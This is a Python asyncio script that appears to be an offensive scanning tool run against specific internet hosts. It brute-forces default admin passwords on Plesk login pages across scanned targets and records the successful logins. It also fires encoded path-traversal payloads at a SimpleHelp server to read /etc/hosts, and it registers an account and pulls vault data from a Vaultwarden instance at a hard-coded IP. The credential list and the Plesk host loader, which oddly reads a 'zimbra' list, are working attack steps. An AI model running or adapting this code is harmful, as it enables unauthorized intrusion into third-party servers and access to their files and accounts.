import asyncio, hashlib, base64, os, json, re
import aiohttp

SEM = asyncio.Semaphore(10)


def load(name):
    out = []
    try:
        f = open(f"/root/recon/lists/{name}.txt")
    except FileNotFoundError:
        return out
    for line in f:
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out


# ---------- Plesk ----------
async def plesk_login(sess, base, user, pwd):
    try:
        async with sess.get(f"{base}/login_up.php", ssl=False, allow_redirects=True) as r:
            html = await r.text()
        fields = dict(re.findall(r'<input[^>]*name="([^"]+)"[^>]*value="([^"]*)"', html))
        fields.pop("login_name", None)
        fields.pop("passwd", None)
        fields["login_name"] = user
        fields["passwd"] = pwd
        fields.setdefault("locale_id", "en-US")
        async with sess.post(f"{base}/login_up.php", data=fields, ssl=False, allow_redirects=False) as r2:
            body = await r2.text()
            loc = r2.headers.get("Location", "")
            ok = r2.status in (301, 302, 303) and "login" not in loc.lower()
            bad = "incorrect" in body.lower() or "not correct" in body.lower()
            return ok, r2.status, loc[:40], bad
    except Exception as e:
        return False, 0, type(e).__name__, False


async def plesk_all():
    pl = load("zimbra")
    import csv
    vers = {}
    for line in open("/root/recon/ver2.tsv"):
        p = line.rstrip("\n").split("\t")
        if len(p) >= 5 and p[0] == "zimbra":
            vers[(p[1], p[2])] = p[4]
    targets = [(ip, port, sc, vers.get((ip, str(port)), "")) for ip, port, sc in pl]
    old = [t for t in targets if t[3] and t[3].startswith(("17.", "18.0.3"))]
    print("old plesk hosts:", len(old), [(t[0], t[3]) for t in old][:30])
    CREDS = [("admin", "admin"), ("admin", "password"), ("admin", "plesk")]
    hits = []
    tout = aiohttp.ClientTimeout(total=20, connect=8, sock_read=12)
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as sess:
        for ip, port, sc, v in old:
            for u, p in CREDS:
                async with SEM:
                    ok, st, loc, bad = await plesk_login(sess, f"{sc}://{ip}:{port}", u, p)
                print(f"  {ip}:{port} {v} {u}/{p} -> st={st} loc={loc} ok={ok} bad={bad}", flush=True)
                if ok:
                    hits.append((ip, port, v, u, p))
                    break
    print("PLESK LOGIN HITS:", hits)
    open("/root/recon/plesk_creds.tsv", "w").write("\n".join("\t".join(map(str, h)) for h in hits))


# ---------- SimpleHelp encodings ----------
async def simple_enc():
    ip, port, sc = "13.202.79.242", 9191, "https"
    variants = {
        "lower_8": "%2f" + "%2f".join([".."] * 8) + "%2fetc%2fhosts",
        "upper_8": "%2F" + "%2F".join([".."] * 8) + "%2Fetc%2Fhosts",
        "double_8": "%252f" + "%252f".join([".."] * 8) + "%252fetc%252fhosts",
        "dotenc_8": "%2f" + "%2f".join(["%2e%2e"] * 8) + "%2fetc%2fhosts",
        "backslash": "%2f" + "%2f".join([".."] * 8) + "%2fetc%5chosts",
        "noquery": "/" + "%2f".join([".."] * 8) + "/etc/hosts",
    }
    tout = aiohttp.ClientTimeout(total=15, connect=6, sock_read=12)
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
        for name, path in variants.items():
            url = f"{sc}://{ip}:{port}/?{path}" if not path.startswith("/") else f"{sc}://{ip}:{port}{path}"
            try:
                async with s.get(url, ssl=False) as r:
                    t = await r.text()
                print(f"SIMPLE {name:10s} -> {r.status} len={len(t)} :: {t[:60]!r}")
            except Exception as e:
                print(f"SIMPLE {name:10s} -> ERR {type(e).__name__}")


# ---------- Vaultwarden ----------
def b64(b):
    return base64.b64encode(b).decode()


def pbkdf2(pw, salt, iters, n=32):
    if isinstance(pw, str):
        pw = pw.encode()
    if isinstance(salt, str):
        salt = salt.encode()
    return hashlib.pbkdf2_hmac("sha256", pw, salt, iters, n)


def enc_key(master_key):
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    enc_key = pbkdf2(master_key, "enc", 1)
    mac_key = pbkdf2(master_key, "mac", 1)
    iv = os.urandom(16)
    ct = os.urandom(64)
    c = Cipher(algorithms.AES(enc_key), modes.CBC(iv)).encryptor()
    data = c.update(ct) + c.finalize()
    import hmac
    mac = hmac.new(mac_key, iv + data, hashlib.sha256).digest()
    return "2." + b64(iv) + "|" + b64(data) + "|" + b64(mac)


async def vault_reg():
    base = "http://129.153.62.97:8040"
    email = f"qa{os.urandom(3).hex()}@example.com"
    pwd = "Str0ng-Test-Pass-2026!"
    iters = 600000
    mk = pbkdf2(pwd, email, iters)
    mph = b64(pbkdf2(mk, pwd, 1))
    key = enc_key(mk)
    body = {"email": email, "name": "QA", "masterPasswordHash": mph, "masterPasswordHint": None,
            "key": key, "kdf": 0, "kdfIterations": iters, "referenceData": None}
    tout = aiohttp.ClientTimeout(total=30, connect=8, sock_read=25)
    async with aiohttp.ClientSession(timeout=tout, headers={"User-Agent": "Mozilla/5.0"}) as s:
        async with s.post(f"{base}/identity/api/accounts/register", json=body, ssl=False) as r:
            t = await r.text()
        print("VAULT register:", r.status, t[:300])
        token = ""
        if r.status in (200, 201):
            data = {"grant_type": "password", "username": email, "password": mph,
                    "scope": "api offline_access", "client_id": "web",
                    "deviceType": "10", "deviceIdentifier": "qa-device-1", "deviceName": "qa"}
            async with s.post(f"{base}/identity/connect/token", data=data, ssl=False) as r2:
                t2 = await r2.text()
            print("VAULT token:", r2.status, t2[:200])
            try:
                token = json.loads(t2).get("access_token", "")
            except Exception:
                token = ""
        if token:
            h = {"Authorization": "Bearer " + token}
            async with s.get(f"{base}/api/sync", headers=h, ssl=False) as r3:
                t3 = await r3.text()
            print("VAULT sync:", r3.status, t3[:300])


async def main():
    print("=== VAULTWARDEN register ===")
    await vault_reg()
    print("=== PLESK creds ===")
    await plesk_all()

asyncio.run(main())
